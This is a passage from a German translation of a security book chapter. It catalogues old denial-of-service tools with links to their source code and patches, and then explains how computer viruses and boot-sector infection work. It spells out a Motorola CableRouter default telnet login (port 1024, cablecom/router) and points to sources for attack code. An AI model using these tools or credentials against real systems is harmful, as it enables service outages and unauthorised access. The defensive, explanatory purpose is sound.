Autor: Die Leute von ROOTSHELL.COM
URL: http://itrac.bourg.net/exploits/pnserver.c
Hintergrundinformationen: siehe URL
Entwicklungsbetriebssystem: Unix
Zielbetriebssystem: Jeder Real Audio-Server
Auswirkungen: Bringt den Real Audio-Server zum Absturz und zwingt Sie, den Dienst neu zu starten.
Abhilfe:Keine, kontaktieren Sie http://www.real.com
Solaris Land-Attacke
Dateiname: solaris_land.c, land.c
Autor: Ziro Antagonist
URL: http://www.leasoft.ch/www/faq/land/solaris/land.c
Hintergrundinformationen: Siehe URL oder http://www.cisco.com/warp/public/770/land- pub.shtml
Entwicklungsbetriebssystem: Solaris 2.5
Zielbetriebssystem: Windows 95
Auswirkungen: Dies ist eine Variation von LAND für Solaris. Sie wird Windows 95-Rechner zum Absturz bringen.
Abhilfe: http://support.microsoft.com/download/support/mslfiles/Vtcpupd.exe
Solaris Telnet-Attacke
Dateiname: solaris_telnet.c
Autor: Unbekannt
URL: http://www.society-of-shadows.com/security/solaris_telnet.c
Hintergrundinformationen: Siehe URL
Entwicklungsbetriebssystem: Unix
Zielbetriebssystem: Solaris 2.5
Auswirkungen: Denial-of-Service für den telnet-daemon auf dem Zielhost.
Destruktive Programme
file:///d|/cool stuff/old/hack/kap09.htm (9 von 22) [19.04.2000 21:14:32]
Abhilfe: Unbekannt
Teardrop
Dateiname: teardrop.c
Autor: Route@infonexus.com
URL: http://www.rat.pp.se/hotel/panik/archive/teardrop.c
Hintergrundinformationen: Siehe URL und Kommentare
Entwicklungsbetriebssystem: Unix
Zielbetriebssystem: Linux, Windows 95 und Windows NT
Auswirkungen: Attacke durch IP-Fragmente blockiert den Zielrechner.
Abhilfe: ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes- postSP3/simptcp-fix
Teardrop (und mehrere modifizierte Versionen) beeinträchtigte seit Ende 1997 bis ins erste Quartal 1998 Tausende Server.
Windows-basierte Rechner können gegen Teardrop-Attacken geschützt werden. Tabelle 9.3 nennt Ihnen URLs, über die Sie
verschiedene Abhilfen gegen Teardrop-Angriffe finden können.
Tabelle 9.3: Teardrop-Abhilfen für verschiedene Konfigurationen
Konfiguration URL
Win 95 oder
OSR2, Winsock
1.x
ftp://ftp.microsoft.com/Softlib/MSLFI
Winnuke für
Amiga OS http://home.unicomp.net/~nickp/winnuke/ami-winnuke.lzx
Windows NT 4.0 ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP3/teardrop2-fix/tearfixi.exe
Microsoft-Berichterstattung zu diesem Thema können Sie in Knowledge-Base-Artikeln unter folgenden Adressen finden:
http://support.microsoft.com/support/kb/articles/Q165/0/05.asp
http://support.microsoft.com/support/kb/articles/Q170/7/91.asp
http://support.microsoft.com/support/kb/articles/Q168/7/47.asp
http://support.microsoft.com/support/kb/articles/Q177/5/39.asp
Der Pentium-Bug
Dateiname: pentium_bug.c
Autor: Whiz (whizpig@tir.com)
URL: http://www.jabukie.com/Unix_Sourcez/pentium_bug.c
Hintergrundinformationen: http://support.intel.com/support/processors/pentium/ ppiie/descrip.htm
Entwicklungsbetriebssystem: Jeder Pentium-Rechner
Zielbetriebssystem: Keins, es handelt sich um einen Firmware-Fehler
Auswirkung: Der Zielrechner stürzt ab.
Abhilfe: http://support.intel.com/support/processors/pentium/ppiie/descrip.htm#Workaround
Destruktive Programme
file:///d|/cool stuff/old/hack/kap09.htm (10 von 22) [19.04.2000 21:14:32]
Dieses Sicherheitsloch betrifft die meisten Pentium-Prozessoren. Es ermöglicht böswilligen Benutzern mit Zugang die Eingabe
von illegalen Befehlen, die den Rechner zum Absturz bringen.
Es ist ein eher ungewöhnlicher Fehler, da er im Chip selbst steckt. Die folgenden Chips sind fehlerhaft:
Pentium-Prozessoren mit MMX (Multimedia-Erweiterungen)
Pentium-OverDrive-Prozessoren
Pentium-OverDrive-Prozessoren mit MMX
Nachfolgend finden Sie einen Link zu Intels technischer Übersicht des Problems. Dies nützt Ihnen jedoch nichts. Es ist nahezu
unmöglich, daß der Fehler von allein auftaucht. Der einzige Weg, wie Sie ihm zum Opfer fallen können ist über einen
böswilligen lokalen Benutzer, der über Programmiererfahrung verfügt.
Es gibt verschiedene Postings und Artikel, die den Fehler auf verschiedenen Betriebssystemen besprechen. Hier sind ein paar:
http://geek-girl.com/bugtraq/1997_4/0358.html (SYSV)
http://geek-girl.com/bugtraq/1997_4/0300.html (NetBSD)
Vielleicht interessieren Sie auch Intels offizielle Position und Reaktionen zu diesem Problem, dann gehen Sie zu:
http://support.intel.com/support/processors/pentium/ppiie/-Index-htm.
Verschiedene Anbieter (u.a. BSDI, IBM, Microsoft, NCR, Novell, SCO, Sequent, SunSoft und Unisys) haben jeweils individuelle
Stellungnahmen zu diesem Fehler ins Internet gesetzt. Diese Stellungnahmen finden Sie bei Intel unter:
http://support.intel.com/support/processors/pentium/ppiie/-Software-htm.
Leider ist dies nicht der einzige Fehler in bezug auf Pentium-Prozessoren. 1997 wurde entdeckt, daß Pentium-Pro-Prozessoren
fehlerhaft waren. Unter den folgenden URLs finden Sie Artikel, die sowohl das alte als auch das neue Problem darstellen:
Intel Posts Fix For New Pentium Bug. Leland Baker, San Diego Daily Transcript. 17. November 1997.
http://www.sddt.com/files/library/97headlines/11_97/DN97_11_17/ DN97_11_17_tca.html.
Intel Pursues Workaround for Pentium Bug. Lisa DiCarlo, PC Week Online. 11. November 1997.
http://207.121.184.191/zdnn/content/pcwo/1110/215480.html.
Intel Engineers Grapple with Pentium Bug. Kelly Spang, Daily News Digest. 10. November 1997.
http://crn.com/dailies/weekending111497/nov10digL.asp.
Net Reacts to »F0« Pentium Bug. Brooke Crothers, CNET. 10. November 1997. http://
ne2.news.com/News/Item/0,4,16187,00.html.
Außerdem gibt es eine hervorragende Quelle für Informationen über Entwicklungen hinsichtlich des Pentium-Fehlers. Hier
finden Sie Dutzende von Artikeln, Intels Bericht und Beiträge von verschiedenen Spezialisten. Alles in allem ist dieses Archiv,
das von Cleve Moler von MATHWORKS.COM betrieben wird, wohl eine schnellere und praktischere Informationsquelle als die
Website von Intel:
ftp://ftp.mathworks.com/pub/pentium/
Es gibt eine Lösung für das Problem, die Sie hier finden:
http://support.intel.com/support/processors/pentium/ppiie/descrip.htm#Workaround
Abschließend sollte ich noch betonen, daß nur lokale Benutzer den Pentium-Fehler ausnutzen können. Aus unerklärten Gründen
ist eine Reproduktion des Fehlers auf manchen Plattformen noch schwieriger. Zusammengefaßt ist das Risiko nicht sehr hoch,
außer Sie haben viele Intel-Rechner, die für die Öffentlichkeit zugänglich sind (wenn Sie beispielsweise Betreiber einer
Computerschule oder eines Internet-Cafés sind).
Winnuke
Dateiname: winnuke.c
Destruktive Programme
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Autor: _eci
URL: http://www.skyinternet.com/~llo/windoze/winnuke/winnuke.c
Hintergrundinformationen: http://www.skyinternet.com/~llo/windoze/winnuke/ winnuke_tech.html
Entwicklungsbetriebssystem: Linux, BSDI
Zielbetriebssystem: Windows 95 und Windows NT
Auswirkung: Systemzusammenbruch, der einen Neustart erfordert
Abhilfe: http://support.microsoft.com/download/support/mslfiles/Vipup20.exe
Winnuke läßt alle Windows 95- oder Windows NT-Rechner ohne Patches abstürzen, sodaß Sie Ihr System neu starten müssen.
Diese Attacke hat einige Mutationen durchgemacht und ist jetzt für viele Entwicklungsbetriebssysteme verfügbar. Tabelle 9.4
listet diese Betriebssysteme auf und stellt Ihnen URLs für Source-Codes und ausführbare Programme zur Verfügung.
Tabelle 9.4: Winnuke-Versionen für verschiedene Plattformen
Plattform oder Sprache URL
Jedes Unix (Perl) http://winnuke.linkdesign.com/winnuke.pl
Linux Winnuke http://winnuke.linkdesign.com/winnuke
Winnuke für Amiga OS http://home.unicomp.net/~nickp/winnuke/
ami-winnuke.lzx
Winnuke2 (Windows) http://cvinc.tierranet.com/hacking/files/
nukers/WinNuke2.zip
Macwinnuke (MacOS) http://www.techno.ch/macwinnuke/
Winnuke für NT und 95 http://www.magmacom.com/~sbrule/winnu95.zip
Die Lösung ist die Anwendung von Patches. Aber es gibt mindestens ein Tool, das Sie benutzen können, um den möglichen Täter
zu entdecken und schließlich zu überführen: Nukenabber.
Nukenabber
Nukenabber ist ein kleiner, kompakter Port-Sniffer, der von puppet@earthling.net geschrieben wurde. Das Programm beobachtet
die Ports 139, 138, 137, 129 und 53. Über alle diese Ports wurden in der Vergangenheit Denial-of-Service-Attakken
implementiert. Nukenabber macht Sie darauf aufmerksam, wenn eine Winnuke-Attacke auf Ihr System erfolgt. Sie erhalten das
Programm hier:
http://home.sol.no/~jacjohan/BooH/Nukenabber/
9.6.4 Denial-of-Service-Attacken auf Hardware
In den letzten Monaten wurden einige DoS-Attacken auf Router entwickelt. Dies ist besonders heimtückisch, da Router die
zugrundeliegende Routing-Architektur für das Internet formen. Außerdem kann eine Attacke auf einen Router hundert oder mehr
Rechner zum Absturz bringen, da ein einzelner Router Gateway-Dienste für ein gesamtes Netzwerk zur Verfügung stellen kann.
In einem solchen Fall läuft jeglicher Datenverkehr zunächst über den Router, bevor er irgendeinen Rechner erreicht. Daher
erreicht der Angreifer durch das Ausschalten des Routers, daß das gesamte System keine Verbindung mehr zum Netz hat.
Tabelle 9.5 listet die meistverbreitetsten Attacken für Router auf. Alle aufgeführten Attacken führen zu einem Zusammenbruch
des Routers. Die URL-Angaben beinhalten den Source- Code und manchmal auch Abhilfen. Da diese Attacken neu sind, gibt es
für viele noch keine sofortigen Abhilfen. In einem solchen Fall sollten Sie Ihren Router-Anbieter kontaktieren.
Tabelle 9.5: Router-Attacken und URLs für Informationen
Destruktive Programme
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Betroffener Router URL für Source-Code der Attacke und Informationen
3com-Router und -Hubs http://www.dhp.com/~fyodor/sploits/ umount.html
Ascend Max Router http://www.njh.com/latest/9703/970304- 04.html
Cisco 1005 http://www.geek-girl.com/bugtraq/1997_4/ 0453.html
Cisco 2500 http://www.safesuite.com/lists/general/ 0252.html
Livingston 1.16 http://www.otol.fi/~jukkao/bugtraq/9804/ 0105.html
Livingston Portmaster http://www.angio.net/consult/secadv/AA-1997- 09-03.livingston-telnet.final
Motorola CableRouter-Produkte sind ebenfalls anfällig für DoS-Attacken. Die DoS-Attacke kann auf sehr einfache Art und
Weise implementiert werden: Der Angreifer startet wiederholte Telnet-Sessions am Ziel. Dies führt zu Speicherverlusten, der
Router stellt seinen Betrieb ein.
Die ernstere Sicherheitsschwachstelle besteht allerdings in einem Default-Login und -Paßwort. Um diese Schwachstelle
auszunutzen, senden Sie eine Telnet-Anfrage an Port 1024, loggen sich als »cablecom« ein und verwenden »router« als Paßwort.
Dies ist eine ernsthafte Sicherheitslücke, die für viele Kabel-Provider ein Risiko darstellt. Wenn Sie Internet-Anbindung über
Kabelanschluß vertreiben und Motorola CableRouter-Produkte einsetzen, ändern Sie sofort Ihr Login und Ihr Paßwort.
9.6.5 Andere Denial-of-Service-Tools
Es gibt auch noch andere, ältere DoS-Tools, die Sie kennen sollten, wenn Sie mit älterer Software arbeiten.
Hinweis:
Die meisten Leute benutzen ältere Software, hauptsächlich um Kosten zu sparen. Ich schätze, daß 3 von
5 Netzwerken, die ich betreue, noch mindestens einen Rechner haben, auf dem Windows 3.11, Novell
3.11 oder SunOS 4.1.3 läuft. Wenn Sie für ein Netzwerk mit älterer Architektur verantwortlich sind,
sollten Sie Ihr System in Hinsicht auf diese älteren Attacken untersuchen.
Alte chinesische »Ping of Death«-Methode
Diese Attacke ist weithin als »Ping of Death« bekannt. Sie beeinträchtigt hauptsächlich Windows- und Windows NT
3.51-Rechner. »Ping of Death« ist kein Programm, sondern ein einfaches Verfahren, das das Versenden von ungewöhnlich
großen ping-Paketen beinhaltet. Wenn der Zielrechner diese großen Pakete bearbeitet, stürzt er ab. Dies zeigt sich in Form eines
blauen Bildschirms mit Fehlermeldungen, von denen sich der Rechner nicht erholen kann. Microsoft hat eine Abhilfe für das
Problem zur Verfügung gestellt, die Sie im folgenden Wegweiser finden.
Wegweiser:
Lesen Sie den offiziellen Ratgeber zu »Ping of Death« unter
http://support.microsoft.com/support/kb/articles/Q132/4/70.asp .
SynFlooder
SynFlooder ist ein kleines Utility, das Unix-Server betriebsunfähig machen kann. Das Programm überschwemmt das Ziel mit
Verbindungsanfragen. Das Ziel versucht, diese Anfragen zu bearbeiten, bis schließlich die maximale Anzahl der
IP-Verbindungen erreicht wird. Dadurch können keine weiteren Verbindungsanfragen bearbeitet werden und der Zielrechner wird
seine Dienste vorübergehend einstellen. Schauen Sie sich den Source-Code an unter:
http://www.hackersclub.com/km/downloads/c_scripts/synflood.c
DNSKiller
DNSKiller bringt den DNS-Server eines Windows NT 4.0-Rechners zum Absturz. Der Source-Code wurde für eine
Linux-Umgebung geschrieben, kann aber auch auf BSD-Plattformen laufen. Um Ihren Rechner zu prüfen, laden Sie den
Destruktive Programme
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Source-Code herunter, kompilieren Sie ihn und führen Sie ihn aus:
http://www.otol.fi/~jukkao/bugtraq/before-971202/0015.html
arnudp100.c
Arnudp100.c ist ein Programm, das UDP-Pakete fälscht und dazu benutzt werden kann, Denial-of-Service-Attacken auf die Ports
7, 13. 19 und 37 zu starten. Um diese Attacke zu verstehen, empfehle ich Ihnen die Lektüre des folgenden Berichts: »Defining
Strategies to Protect Against UDP Diagnostic Port Denial of Service Attacks« von Cisco Systems. Eine weitere gute
Informationsquelle ist das CERT Advisory CA-96.01.
Wegweiser:
Cisco Systems' »Defining Strategies to Protect Against UDP Diagnostic Port Denial of Service Attacks«
finden Sie online unter http://cio.cisco.com/ warp/public/707/3.html.
Das CERT-Advisory CA-96.01 finden Sie hier: ftp://ftp.cert.org/pub/
cert_advisories/CA-96.01.UDP_service_denial
cbcb.c
cbcb.c ist ein cancelbot, d.h. ein Programm, das auf Usenet News-Postings zielt und diese zerstört. cbcb.c erstellt
Cancel-Kontroll-Meldungen für jedes Posting, das Ihren Kriterien entspricht. Sie können Tausende von Usenet
News-Nachrichten mit diesem Utility verschwinden lassen. Zwar ist dies keine Denial-of-Service-Attacke im klassischen Sinn,
aber ich habe sie trotzdem hier erwähnt, weil sie dem Ziel den Usenet-Dienst verweigert. Direkter gesagt, diese Attacke
verweigert dem Ziel sein Recht zur Selbstdarstellung (egal, wie dumm seine Meinung für andere auch sein mag). Erstmals
veröffentlicht in dem Online-Zine Phrack, finden Sie den Source-Code hier:
http://www.opensite.com.br/~flash/phrack/49/9.html
9.6.6 Andere Informationsquellen zu Denial-of-Service-Attacken
Zum Schluß stelle ich Ihnen noch einige nützliche Informationsquellen zum Thema Denial- of-Service-Attacken zur Verfügung.
Update on Network Denial of Service Attacks. (Teardrop/NewTear/Bonk/Boink). Microsoft Security Advisory. März 1998.
http://www.eu.microsoft.com/security/netdos.htm .
MCI Security MCI Security. http://www.security.mci.net/check.html#RTFToC462.
Denial of Service Attacks on any Internet Server Through SYN Flooding. Tom Kermode.
http://www.zebra.co.uk/tom/writing/flood.htm.
Berkeley Software Design, Inc. http://www.bsdi.com/press/19961002.html.
Reporting Nukes or Denial of Service Attacks. Joseph Lo; Duke University.
http://deckard.mc.duke.edu/irchelp/nuke/report.html .
Malformed UDP Packets in Denial of Service Attacks. CIAC Bulletin. http:// ciac.llnl.gov/ciac/bulletins/i-031a.shtml.
9.7 Computerviren
Computerviren sind die gefährlichsten aller destruktiven Programme. Abgesehen von der Tatsache, daß Computerviren in
Denial-of-Service resultieren können, zerstören viele Computerviren Daten. Außerdem können manche Viren (allerdings nur sehr
wenige) einen Rechner völlig lahmlegen. Aus all diesen Gründen sind Viren einzigartig.
In bezug auf das Internet stellen Computerviren ein ganz besonderes Sicherheitsrisiko dar. Viren sind am gefährlichsten, wenn sie
in vernetzte Umgebungen ausgesetzt werden und zu keiner Umgebung paßt diese Beschreibung besser als zum Internet.
Destruktive Programme
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9.7.1 Was ist ein Computervirus?
Ein Computervirus ist ein Programm, das sich an Dateien auf dem Zielrechner hängt. Während dieses Vorgangs - der Infizierung
- wird der ursprüngliche Code des Virus an die Dateien angefügt. Wenn eine Datei infiziert ist, verwandelt sie sich von einer
normalen Datei in einen Virusträger. Von diesem Zeitpunkt an kann die infizierte Datei selbst andere Dateien infizieren. Dieser
Vorgang wird Replikation genannt. Durch Replikation können sich Viren über die gesamte Festplatte verbreiten und so zu einer
Systeminfizierung führen. Meist gibt es kaum Warnungen, bevor eine solche Systeminfizierung erreicht wird und dann ist es zu
spät.
9.7.2 Dateien, die für eine Infizierung durch Computerviren anfällig sind
In den letzten Jahren sind Tausende neuer Computerviren entstanden. Diese sind verschieden programmiert und greifen jede Art
von Dateien an. Früher allerdings griffen Viren in erster Linie ausführbare Dateien an.
Hinweis:
Ausführbare Dateien sind Applikationen oder Programme, die kompiliert worden sind. Auf
DOS-/Windows-Plattformen zum Beispiel ist jede Datei mit einer .EXE oder .COM-Erweiterung eine
ausführbare Datei.
Hat sich ein Virus an eine ausführbare Datei gehängt, wird diese Datei bei ihrer Ausführung andere Dateien infizieren. Dies ist
ein sich wiederholender Prozess und es dauert nicht lang, bis das gesamte System infiziert ist. Denken Sie daran, wie viele
ausführbare Dateien jeden Tag auf Ihrem Rechner geladen werden. Jedesmal wenn Sie eine Applikation öffnen, wird mindestens
eine ausführbare Datei geladen. Einige Applikationen öffnen beim Starten mehrere Dateien, während andere Applikationen
immer dann verschiedene Dateien öffnen, wenn sie bestimmte Arbeitsabläufe durchführen.
Zusätzlich zu den Viren, die ausführbare Dateien befallen, existieren Tausende von Datendatei-Viren. Diese Viren (Makroviren)
infizieren Datendateien wie z.B. Dokumente, die in Microsoft Word oder Excel erstellt wurden. Derartige Viren greifen
üblicherweise Ihre globale Dokumentvorlage an und beschädigen letztendlich jedes Dokument, das in Word oder Excel geöffnet
wird.
Es gibt noch eine dritte Klasse von Dateien, die infiziert werden können: Gerätetreiber- Dateien. (Dies betrifft hauptsächlich
ältere Systeme wie z.B. eine DOS/Windows 3.11- Kombination. In diesen Systemen werden Gerätetreiber-Dateien in den hohen
Speicherbereich geladen und können hier von Viren befallen werden.)
9.7.3 Wer schreibt Viren und warum?
Computerviren werden hauptsächlich geschrieben von:
Jungen Leuten
Sicherheitsspezialisten
Ausländischen Entwicklern
Jede Gruppe hat etwas unterschiedliche Motive. Junge Leute schreiben Computerviren zum Spaß oder um von sich hören zu
machen. Schließlich arbeiten Jugendliche in der Regel nicht als Programmierer, weil sie zu jung sind. Sie benutzen das Schreiben
eines Virus als einen Weg, auf ihre Programmierfähigkeiten aufmerksam zu machen.
Sicherheitsspezialisten dagegen schreiben rein beruflich Computerviren. Zum Beispiel werden sie gut bezahlt dafür, Viren zu
entwickeln, die besonders schwer zu entdecken und auszulöschen sind. Sicherheits-Teams nehmen sich dann diese
Computerviren vor und versuchen, Lösungen zu finden.
Ausländische Entwickler sind für die größte Anzahl von Viren verantwortlich. Es gibt einen faszinierenden Bericht im Internet
über die wachsende Zahl von Entwicklungsteams für Computerviren in Osteuropa. Der Bericht beschreibt, wie Computerviren
diese Programmiergemeinden im Sturm eroberten. Die Entwicklung von Viren ist zu einem Phänomen geworden. Es wurden
sogar Mailbox-Systeme ins Leben gerufen, über die die Entwickler von Viren Ideen und Codes austauschen können. Der Bericht
läßt sich gut lesen und gibt Ihnen einen allgemeinen Überblick über die Virenentwicklung in einer nicht-kapitalistischen
Umgebung. Er heißt »The Bulgarian and Soviet Virus Factories« und wurde von Vesselin Bontchev geschrieben, dem Direktor
des Labors für Computerviren an der Bulgarischen Akademie der Wissenschaften in Sofia, Bulgarien. Sie finden ihn unter
http://www.drsolomon.com/ftp/papers/factory.txt .
Destruktive Programme
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9.7.4 Wie werden Computerviren entwickelt?
Viele Programmierer entwickeln Computerviren mit Hilfe von Virus-Bausätzen, das sind Applikationen, die speziell für die
Erzeugung von Virus-Code entwickelt wurden. Diese Bausätze werden im Internet in Umlauf gesetzt. Hier sind die Namen
einiger dieser Bausätze:
Virus Creation Laboratories
Virus Factory
Virus Creation 2000
Virus Construction Set
The Windows Virus Engine
Diese Bausätze sind in der Regel einfach zu benutzen und ermöglichen fast jedem, einen Virus zu entwickeln. (Im Gegensatz zu
der »guten, alten Zeit«, als fortgeschrittene Programmierkenntnisse nötig waren.) Dies hat zu einer Steigerung der Anzahl der
Computerviren »in the wild« geführt.
Hinweis:
Ein Virus wird als »in the wild« betrachtet, wenn er in die Öffentlichkeit entwichen ist oder in Umlauf
gebracht wurde. Das heißt, »the wild« bezieht sich auf jegliches Computersystem, das außerhalb der
akademischen- oder Entwicklungsumgebung liegt, in der der Virus entstanden ist und getestet wurde.
Dieser Begriff ist inhaltlich vom Fachjargon abgeleitet, der in bezug auf Umgebungen für Tests mit
biologischen Waffen benutzt wird. Diese Tests werden in der Regel unter kontrollierten Bedingungen
durchgeführt, unter denen keine Gefahr für die angrenzenden Gemeinden besteht. Wenn jedoch ein
biologischer Virus seiner kontrollierten Umgebung entweicht, wird davon gesprochen, daß er the wild
(die Wildnis) erreicht hat. Heute bezeichnen Computerviren-Forscher das Internet (oder jede öffentlich
zugängliche Computerumgebung) als the wild.
9.7.5 In welcher Sprache werden Computerviren geschrieben?
Wenn Sie jemals einen Viruscode gesehen haben, werden Sie bemerkt haben, wie unglaublich klein Viren sind. Klein zumindest
für ein Programm, das soviel kann. Es gibt einen guten Grund hierfür. Die meisten Viren werden in Assembler geschrieben.
Assembler erzeugt sehr kleine Programme, weil es eine (maschinennahe) Programmiersprache niederer Ebene ist.
Die Klassifizierung einer Programmiersprache als eine »niederer Ebene« oder »hoher Ebene« hängt nur davon ab, wie nah (oder
wie weit) diese Sprache sich von der Maschinensprache entfernt. (Maschinensprache ist für den Menschen nicht lesbar und
besteht aus numerischen Angaben, meistens 1 oder 0.) Eine Sprache hoher oder mittlerer Ebene beinhaltet die Nutzung von
einfachem Englisch und von Mathematik und wird ziemlich genau so ausgedrückt, wie Sie einem menschlichen Wesen etwas
erklären würden. BASIC, PASCAL und C gehören alle zu den Programmiersprachen mittlerer Ebene: Sie können dem Rechner
»sagen«, was jede Funktion ist, was sie tut und wie sie das tut.
Assembler dagegen ist nur einen Schritt von der Maschinensprache entfernt. Da es auf so direkte Art und Weise mit der
Hardware des Rechners kommuniziert, sind die resultierenden Programme sehr klein. (Anders gesagt ist der Übersetzungsprozeß
minimal. Hier liegt ein großer Unterschied zu C, wo umfangreiche Übersetzungen vorgenommen werden müssen, um das
einfache Englisch in maschinenlesbaren Code umzuwandeln. Je weniger Übersetzung, umso kleiner ist die resultierende
Binärdatei.)
Wegweiser:
Wenn Sie mehr über Assembler wissen wollen, kann ich Ihnen eine hervorragende Seite im Web
empfehlen, die über eine Suchmaschine verfügt, mit der Sie gezielt nach Begriffen, Funktionen und
Definitionen suchen können. Sie finden Sie unter
http://udgftp.cencar.udg.mx/ingles/tutor/Assembler.html .
Destruktive Programme
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9.7.6 Wie arbeiten Viren?
Die meisten Viren arbeiten auf ähnliche Weise wie Terminate-And-Stay-Resident-Programme : Sie sind immer aktiv und
lauschen auf Aktivitäten im System. Wenn eine Aktivität einem bestimmten Kriterium entspricht (beispielsweise das Ausführen
einer ausführbaren Datei), erwacht der Virus zum Leben und hängt sich an das aktive Programm.
Am leichtesten läßt sich dieser Prozeß mit Hilfe der Master-Boot-Record-Viren darstellen.
Master-Boot-Record-Viren
Festplattentreiber benutzen Daten, die im Master-Boot-Record (MBR) gespeichert sind, um grundlegende Boot-Prozesse
durchzuführen. Der MBR befindet sich am Zylinder 0, Kopf 0, Sektor 1 (oder logische Blockadresse (LBA) 0. LBA-Methoden
der Adressierung unterscheiden sich etwas von konventioneller Adressierung; Sektor 1 = LBA 0.)
Für so einen kleinen Teil der Festplatte hat der MBR eine sehr wichtige Aufgabe: Er erklärt jedem Programm die Eigenschaften
der Festplatte. Dafür speichert der MBR Informationen in bezug auf die Struktur der Festplatte. Diese Informationen werden
Partitionstabelle genannt.
Tip:
Wenn dies verwirrend klingt, teilen Sie doch einfach einmal Ihre Festplatte. DOS/Windows-Anwender
benutzen hierfür ein Programm namens FDISK.EXE. Unix-Anwender können mehrere ähnliche
Utilities wie fdisk, cfdisk usw. benutzen. In der Regel werden vor der Partition einer Festplatte
die Daten der Partitionstabelle untersucht (zumindest wenn Sie sicher sein wollen). Die Programme
lesen die Informationen in der MBR-Partitionstabelle. Diese Informationen beinhalten normalerweise
Angaben zur Anzahl der Partitionen, ihrer Größe usw. (Unix-Anwender erhalten sogar Angaben zum
Partitionstypen. DOS/Windows-Anwender können in der Regel nur solche Partitionen identifizieren, die
üblicherweise auf der AT-Plattform benutzt werden. Andernfalls wird der Typ mit UNKNOWN
angegeben.)
Wenn ein Rechner bootet, geht er davon aus, daß die CMOS-Einstellungen korrekt sind. Diese Werte werden gelesen und
überprüft. Wenn der Rechner merkt, daß die Größe der Festplatte 1 GB beträgt, die BIOS-Einstellungen aber 500 MB angeben,
wird der Rechner nicht booten, sondern eine Fehlermeldung generieren. Auf ganz ähnliche Art und Weise wird das RAM in
Hinsicht auf ungültige Speicheradressen überprüft. Wenn keine Fehlermeldungen erfolgen, wird schließlich der eigentliche
Boot-Prozess gestartet. An diesem Punkt übernimmt der MBR das Ruder und die Festplatte bootet. Eine kritische Situation kann
sich entwickeln, wenn ein Virus den Boot-Sektor infiziert hat.
Spezialisten von McAfee, dem führenden Anbieter für Anti-Virus-Lösungen, erklären:
Master-Boot-Record/Boot-Sektor-Viren sind die Viren, die den MBR oder den Boot- Sektor von Festplatten oder den
Boot-Sektor von Disketten infizieren. Diese Viren sind die erfolgreichsten Viren der Welt. Das liegt daran, daß sie
relativ einfach zu schreiben sind, die Kontrolle über einen Rechner auf einer sehr niedrigen Ebene übernehmen und
die meisten von ihnen Stealthviren (Tarnkappenviren) sind. 80 Prozent der Anrufe für den McAfee-Support betreffen
diese Viren.
MBR-Viren sind besonders gemein, weil sie immer, wenn Ihr Rechner auf Disketten zugreift, diese infizieren. Daher werden
MBR-Viren so oft »in the wild« gesehen - weil sie Disketten infizieren, können sie sehr leicht von Rechner zu Rechner
weitergegeben werden.
Nehmen Sie für den Augenblick an, daß Sie einen »sauberen« MBR haben. Wie kann es einem Virus gelingen, ihn zu infizieren?
Die Infizierung erfolgt, wenn Sie mit einer infizierten Diskette booten. Betrachten Sie folgende Situation: Sie entscheiden, daß
Sie ein neues Betriebssystem auf Ihre Festplatte laden wollen. Dafür benutzen Sie eine Boot-Diskette (diese Boot-Diskette
beinhaltet eine kleine Boot-Routine, die Sie durch die Installation führt).
Während des Boot-Prozesses lädt sich der Virus in den Speicher. (In der Regel jedoch nicht in den hohen Speicherbereich.
Tatsächlich gibt es nur sehr wenige Viren, die bekannt dafür sind, sich im hohen Speicherbereich aufzuhalten. Wenn es einer tut,
ist es meist, weil er seinen Weg dorthin »huckepack« genommen hat - er hat sich an eine ausführbare Datei oder einen Treiber
gehängt, die bzw. der immer hoch geladen wird.)
Einmal in den Speicher geladen liest der Virus die MBR Partitions-Informationen. In einigen Fällen hat der Virus-Programmierer
Destruktive Programme
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eine Routine hinzugefügt, die frühere Infizierungen des MBR überprüft. (Es prüft nicht nur Infizierungen durch seinen eigenen
Virus, sondern auch solche durch andere Viren. Dies Vorgehensweise ist meist auf einige wenige andere Viren beschränkt, da der
Programmierer Ressourcen sparen will. Ein Virus, der vor seiner Installation eine Infizierung von vielen anderen Viren überprüft,
wäre größer, einfacher zu entdekken, schwerer zu übertragen usw.) Der Virus ersetzt dann die MBR-Informationen durch seine
eigene, modifizierte Version. Der Infizierungsprozess ist abgeschlossen.
Hinweis:
Die meisten Boot-Sektor-Viren beinhalten auch eine Vorrichtung, die die ürsprünglichen
MBR-Informationen an einer anderen Stelle der Festplatte speichert. Hierfür gibt es einen guten Grund,
der nicht etwa darin liegt, daß der Virusprogrammierer ein netter Mensch ist und den MBR irgendwann
in seinen Originalzustand rückführen möchte, sondern darin, daß er es muß. Viele wichtige Funktionen
verlangen bei ihrer Initialisierung das Lesen des MBR. In der Regel behält der Virus eine Kopie des
Originals, die er anbietet, wann immer andere Prozesse sie verlangen. So bleibt der Virus verborgen,
da die entsprechenden Funktionen niemals bemerken, daß der MBR geändert worden ist. Gemein,
oder? Wenn diese Technik korrekt angewandt wird, spricht man auch von Stealth-Viren oder
Tarnkappen-Viren.
Die meisten Viren zerstören eigentlich keine Daten, sondern infizieren nur Festplatten, Disketten oder Dateien. Es gibt jedoch
viele Fälle, in denen eine Infizierung ausreicht, um Dienste zu unterbrechen. So arbeiten beispielsweise manche Treiber
fehlerhaft, wenn sie infiziert sind. Das heißt allerdings nicht, daß es nicht auch destruktive Viren gibt.
Berichten zufolge wurde 1986 der erste Virus »in the wild« entdeckt. Er wurde Brain-Virus genannt. Nach der CIAC
Virus-Datenbank des U.S. Department of Energy war der Brain- Virus ein speicherresidenter Boot-Sektor-Virus:
Dieser Virus infiziert nur die Boot-Sektoren von 360KB-Disketten. Er richtet keinen böswilligen Schaden an, aber
Fehler im Viruscode können durch ein Durcheinandermischen von Daten in den Diskettendateien oder der
Dateizuordnungstabelle zu Datenverlusten führen. Der Virus scheint sich nicht in einer Festplattenumgebung zu
vermehren.
Das folgende Jahr brachte verschiedene Viren mit sich, darunter einige, die wirklich Schaden anrichteten. Der Merrit-Virus
(entdeckt im Jahre 1987) konnte die Dateizuordnungstabelle auf einer Diskette zerstören. Dieser Virus durchlief einige
Entwicklungsphasen, die gefährlichste war eine Version namens Golden Gate. Golden Gate konnte angeblich das
Festplattenlaufwerk umformatieren.
Seit dieser Zeit haben Neuerungen in der Virustechnologie die Schöpfungen zunehmend komplexer werden lassen. Dies hat zu
Klassifizierungen geführt. Es gibt im Grunde genommen drei Arten von Viren:
MBR (Master-Boot-Sektor)-Viren
Boot-Sektor-Viren
Dateiviren
